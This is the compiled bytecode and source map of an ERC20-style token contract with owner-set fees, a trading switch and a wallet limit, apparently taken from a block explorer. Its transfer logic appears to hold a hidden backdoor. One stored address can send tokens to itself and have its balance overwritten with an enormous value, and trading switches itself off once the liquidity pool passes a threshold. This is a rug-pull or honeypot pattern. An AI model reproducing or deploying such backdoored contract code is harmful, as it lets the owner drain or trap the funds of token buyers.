fffff1681565b6000600d54905090565b6000610a49848484611ce4565b50610b0b84610a56611b11565b610b068560405180606001604052806028815260200161385360289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610abc611b11565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122f49092919063ffffffff16565b611b19565b600190509392505050565b610b1e611b11565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba2906130f2565b60405180910390fd5b80601160146101000a81548160ff02191690831515021790555050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b6000610c2b610c1a7f000000000000000000000000000000000000000000000000000000000000dead6112d7565b600d5461235890919063ffffffff16565b905090565b6000600360009054906101000a900460ff16905090565b6000610cf0610c54611b11565b84610ceb8560056000610c65611b11565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123a290919063ffffffff16565b611b19565b6001905092915050565b600d5481565b60076020528060005260406000206000915054906101000a900460ff1681565b60095481565b60066020528060005260406000206000915054906101000a900460ff1681565b610d4e611b11565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ddb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd2906130f2565b60405180910390fd5b80600a8190555050565b600042905090565b6000610df7611b11565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7b906130f2565b60405180910390fd5b60008290508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610ecf57600080fd5b505afa158015610ee3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f079190612bd0565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610f6957600080fd5b505afa158015610f7d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fa19190612bd0565b6040518363ffffffff1660e01b8152600401610fbe929190612fb1565b60206040518083038186803b158015610fd657600080fd5b505afa158015610fea573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061100e9190612bd0565b9150600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111cf578073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561108b57600080fd5b505afa15801561109f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110c39190612bd0565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561112557600080fd5b505afa158015611139573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061115d9190612bd0565b6040518363ffffffff1660e01b815260040161117a929190612fb1565b602060405180830381600087803b15801561119457600080fd5b505af11580156111a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111cc9190612bd0565b91505b81601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601060026101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160076000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050919050565b600f5481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611328611b11565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ac906130f2565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600e5481565b6114a9611b11565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611536576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152d906130f2565b60405180910390fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600c80546115c9906134d6565b80601f01602080910402602001604051908101604052809291908181526020018280546115f5906134d6565b80156116425780601f1061161757610100808354040283529160200191611642565b820191906000526020600020905b81548152906001019060200180831161162557829003601f168201915b5050505050905090565b611654611b11565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116d8906130f2565b60405180910390fd5b8060098190555050565b60006117ae6116f8611b11565b846117a98560405180606001604052806025815260200161387b6025913960056000611722611b11565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122f49092919063ffffffff16565b611b19565b6001905092915050565b60006117cc6117c5611b11565b8484611ce4565b506001905092915050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611805611b11565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611892576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611889906130f2565b60405180910390fd5b6001601060006101000a81548160ff021916908315150217905550565b600a5481565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611944611b11565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146119d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c8906130f2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611a41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3890613072565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601160149054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611b89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b8090613132565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611bf9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bf090613092565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611cd79190613152565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611d55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4c90613112565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611dc5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dbc90613032565b60405180910390fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611e525750611e22611591565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611ea85750600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80611f155750601060019054906101000a900460ff168015611f145750600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b5b15611f725760001515601060009054906101000a900460ff1615151415611f71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f6890613052565b60405180910390fd5b5b611f7c8484612400565b15611f9257611f8b8484612400565b90506122ed565b61201b826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122f49092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806121015750600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6121155761211085858561274e565b612117565b825b9050601160149054906101000a900460ff16801561217f5750600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156121be575061218e611591565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156121ed57600e546121e1826121d3876112d7565b6123a290919063ffffffff16565b11156121ec57600080fd5b5b61223f81600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123a290919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516122df9190613152565b60405180910390a360019150505b9392505050565b600083831115829061233c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123339190613010565b60405180910390fd5b506000838561234b91906133f6565b9050809150509392505050565b600061239a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506122f4565b905092915050565b60008082846123b191906131a4565b9050838110156123f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123ed906130b2565b60405180910390fd5b8091505092915050565b6000601060009054906101000a900460ff1680156125685750600f54601060029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561248457600080fd5b505afa158015612498573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124bc9190612bd0565b73ffffffffffffffffffffffffffffffffffffffff166370a08231601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b81526004016125169190612f96565b60206040518083038186803b15801561252e57600080fd5b505afa158015612542573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125669190612d6a565b115b156125b3576001601060016101000a81548160ff021916908315150217905550601060009054906101000a900460ff1615601060006101000a81548160ff0219169083151502179055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561263b5750600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b156127435742600261264d919061339c565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600360009054906101000a900460ff166103e86126ad919061327e565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126f7919061339c565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060019050612748565b600090505b92915050565b60008060009050600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156127d6576127cf60646127c160095486612a1290919063ffffffff16565b612a8d90919063ffffffff16565b9050612854565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612853576128506064612842600a5486612a1290919063ffffffff16565b612a8d90919063ffffffff16565b90505b5b60008111156129f5576128d18160046000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123a290919063ffffffff16565b60046000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f57062e7b32439d519dac7dc305789d854ff08a3b14878d3f76614e40e994826c816040516129659190613152565b60405180910390a1600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516129ec9190613152565b60405180910390a35b612a08818461235890919063ffffffff16565b9150509392505050565b600080831415612a255760009050612a87565b60008284612a33919061339c565b9050828482612a4291906131fa565b14612a82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a79906130d2565b60405180910390fd5b809150505b92915050565b6000612acf83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612ad7565b905092915050565b60008083118290612b1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b159190613010565b60405180910390fd5b5060008385612b2d91906131fa565b9050809150509392505050565b600081359050612b498161380d565b92915050565b600081519050612b5e8161380d565b92915050565b600081359050612b7381613824565b92915050565b600081359050612b888161383b565b92915050565b600081519050612b9d8161383b565b92915050565b600060208284031215612bb957612bb8613595565b5b6000612bc784828501612b3a565b91505092915050565b600060208284031215612be657612be5613595565b5b6000612bf484828501612b4f565b91505092915050565b60008060408385031215612c1457612c13613595565b5b6000612c2285828601612b3a565b9250506020612c3385828601612b3a565b9150509250929050565b600080600060608486031215612c5657612c55613595565b5b6000612c6486828701612b3a565b9350506020612c7586828701612b3a565b9250506040612c8686828701612b79565b9150509250925092565b60008060408385031215612ca757612ca6613595565b5b6000612cb585828601612b3a565b9250506020612cc685828601612b64565b9150509250929050565b60008060408385031215612ce757612ce6613595565b5b6000612cf585828601612b3a565b9250506020612d0685828601612b79565b9150509250929050565b600060208284031215612d2657612d25613595565b5b6000612d3484828501612b64565b91505092915050565b600060208284031215612d5357612d52613595565b5b6000612d6184828501612b79565b91505092915050565b600060208284031215612d8057612d7f613595565b5b6000612d8e84828501612b8e565b91505092915050565b60008060408385031215612dae57612dad613595565b5b6000612dbc85828601612b79565b9250506020612dcd85828601612b79565b9150509250929050565b612de08161342a565b82525050565b612def8161343c565b82525050565b612dfe8161347f565b82525050565b6000612e0f82613188565b612e198185613193565b9350612e298185602086016134a3565b612e328161359a565b840191505092915050565b6000612e4a602383613193565b9150612e55826135b8565b604082019050919050565b6000612e6d601683613193565b9150612e7882613607565b602082019050919050565b6000612e90602683613193565b9150612e9b82613630565b604082019050919050565b6000612eb3602283613193565b9150612ebe8261367f565b604082019050919050565b6000612ed6601b83613193565b9150612ee1826136ce565b602082019050919050565b6000612ef9602183613193565b9150612f04826136f7565b604082019050919050565b6000612f1c602083613193565b9150612f2782613746565b602082019050919050565b6000612f3f602583613193565b9150612f4a8261376f565b604082019050919050565b6000612f62602483613193565b9150612f6d826137be565b604082019050919050565b612f8181613468565b82525050565b612f9081613472565b82525050565b6000602082019050612fab6000830184612dd7565b92915050565b6000604082019050612fc66000830185612dd7565b612fd36020830184612dd7565b9392505050565b6000602082019050612fef6000830184612de6565b92915050565b600060208201905061300a6000830184612df5565b92915050565b6000602082019050818103600083015261302a8184612e04565b905092915050565b6000602082019050818103600083015261304b81612e3d565b9050919050565b6000602082019050818103600083015261306b81612e60565b9050919050565b6000602082019050818103600083015261308b81612e83565b9050919050565b600060208201905081810360008301526130ab81612ea6565b9050919050565b600060208201905081810360008301526130cb81612ec9565b9050919050565b600060208201905081810360008301526130eb81612eec565b9050919050565b6000602082019050818103600083015261310b81612f0f565b9050919050565b6000602082019050818103600083015261312b81612f32565b9050919050565b6000602082019050818103600083015261314b81612f55565b9050919050565b60006020820190506131676000830184612f78565b92915050565b60006020820190506131826000830184612f87565b92915050565b600081519050919050565b600082825260208201905092915050565b60006131af82613468565b91506131ba83613468565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131ef576131ee613508565b5b828201905092915050565b600061320582613468565b915061321083613468565b9250826132205761321f613537565b5b828204905092915050565b6000808291508390505b60018511156132755780860481111561325157613250613508565b5b60018516156132605780820291505b808102905061326e856135ab565b9450613235565b94509492505050565b600061328982613468565b915061329483613472565b92506132c17fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846132c9565b905092915050565b6000826132d95760019050613395565b816132e75760009050613395565b81600181146132fd576002811461330757613336565b6001915050613395565b60ff84111561331957613318613508565b5b8360020a9150848211156133305761332f613508565b5b50613395565b5060208310610133831016604e8410600b841016171561336b5782820a90508381111561336657613365613508565b5b613395565b613378848484600161322b565b9250905081840481111561338f5761338e613508565b5b81810290505b9392505050565b60006133a782613468565b91506133b283613468565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156133eb576133ea613508565b5b828202905092915050565b600061340182613468565b915061340c83613468565b92508282101561341f5761341e613508565b5b828203905092915050565b600061343582613448565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061348a82613491565b9050919050565b600061349c82613448565b9050919050565b60005b838110156134c15780820151818401526020810190506134a6565b838111156134d0576000848401525b50505050565b600060028204905060018216806134ee57607f821691505b6020821081141561350257613501613566565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6138168161342a565b811461382157600080fd5b50565b61382d8161343c565b811461383857600080fd5b50565b61384481613468565b811461384f57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220f2f7e2d045a6e84b8b359120f5e052b6ba489b8ef08047eb1184e86704492bc764736f6c63430008060033

Deployed Bytecode Sourcemap

14007:8551:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15870:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18107:240;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;17045:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14965:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16147:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19397:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17984:113;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14165:81;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18359:128;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16056:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16542:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14728:57;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14468:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14556:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14411:50;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17876:90;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6076;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18497:678;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14858:42;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16255:128;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5576:230;;;;;;;;;;;;;:::i;:::-;;14520:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14796:52;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17640:129;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5351:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15961:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17779:89;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;16768:269;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19222:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15013:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17214:73;;;;;;;;;;;;;:::i;:::-;;14589:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16391:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5820:244;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;15052:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15870:83;15907:13;15940:5;15933:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15870:83;:::o;18107:240::-;5495:12;:10;:12::i;:::-;5485:22;;:6;;;;;;;;;;:22;;;5477:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;18209:8:::1;18195:10;:22;;;;18238:6;18228:7;:16;;;;18269:1;18260:6;:10;18257:83;;;18294:5;18287:6;;:12;;;;;;;;;;;;;;;;;;18324:4;18314:9;;:14;;;;;;;;;;;;;;;;;;18257:83;18107:240:::0;;:::o;17045:161::-;17120:4;17137:39;17146:12;:10;:12::i;:::-;17160:7;17169:6;17137:8;:39::i;:::-;17194:4;17187:11;;17045:161;;;;:::o;14965:41::-;;;;;;;;;;;;;:::o;16147:100::-;16200:7;16227:12;;16220:19;;16147:100;:::o;19397:313::-;19495:4;19512:36;19522:6;19530:9;19541:6;19512:9;:36::i;:::-;;19559:121;19568:6;19576:12;:10;:12::i;:::-;19590:89;19628:6;19590:89;;;;;;;;;;;;;;;;;:11;:19;19602:6;19590:19;;;;;;;;;;;;;;;:33;19610:12;:10;:12::i;:::-;19590:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;19559:8;:121::i;:::-;19698:4;19691:11;;19397:313;;;;;:::o;17984:113::-;5495:12;:10;:12::i;:::-;5485:22;;:6;;;;;;;;;;:22;;;5477:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;18081:8:::1;18062:16;;:27;;;;;;;;;;;;;;;;;;17984:113:::0;:::o;14165:81::-;;;:::o;18359:128::-;18412:7;18439:40;18456:22;18466:11;18456:9;:22::i;:::-;18439:12;;:16;;:40;;;;:::i;:::-;18432:47;;18359:128;:::o;16056:83::-;16097:5;16122:9;;;;;;;;;;;16115:16;;16056:83;:::o;16542:218::-;16630:4;16647:83;16656:12;:10;:12::i;:::-;16670:7;16679:50;16718:10;16679:11;:25;16691:12;:10;:12::i;:::-;16679:25;;;;;;;;;;;;;;;:34;16705:7;16679:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;16647:8;:83::i;:::-;16748:4;16741:11;;16542:218;;;;:::o;14728:57::-;;;;:::o;14468:45::-;;;;;;;;;;;;;;;;;;;;;;:::o;14556:26::-;;;;:::o;14411:50::-;;;;;;;;;;;;;;;;;;;;;;:::o;17876:90::-;5495:12;:10;:12::i;:::-;5485:22;;:6;;;;;;;;;;:22;;;5477:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;17953:5:::1;17944:8;:14;;;;17876:90:::0;:::o;6076:::-;6116:7;6143:15;6136:22;;6076:90;:::o;18497:678::-;18577:22;5495:12;:10;:12::i;:::-;5485:22;;:6;;;;;;;;;;:22;;;5477:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;18614:35:::1;18671:16;18614:74;;18737:16;:24;;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;18719:53;;;18781:4;18788:16;:21;;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;18719:93;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;18702:110;;18854:1;18828:28;;:14;:28;;;18825:201;;;18918:16;:24;;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;18900:74;;;18983:4;18990:16;:21;;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;18900:114;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;18883:131;;18825:201;19052:14;19038:11;;:28;;;;;;;;;;;;;;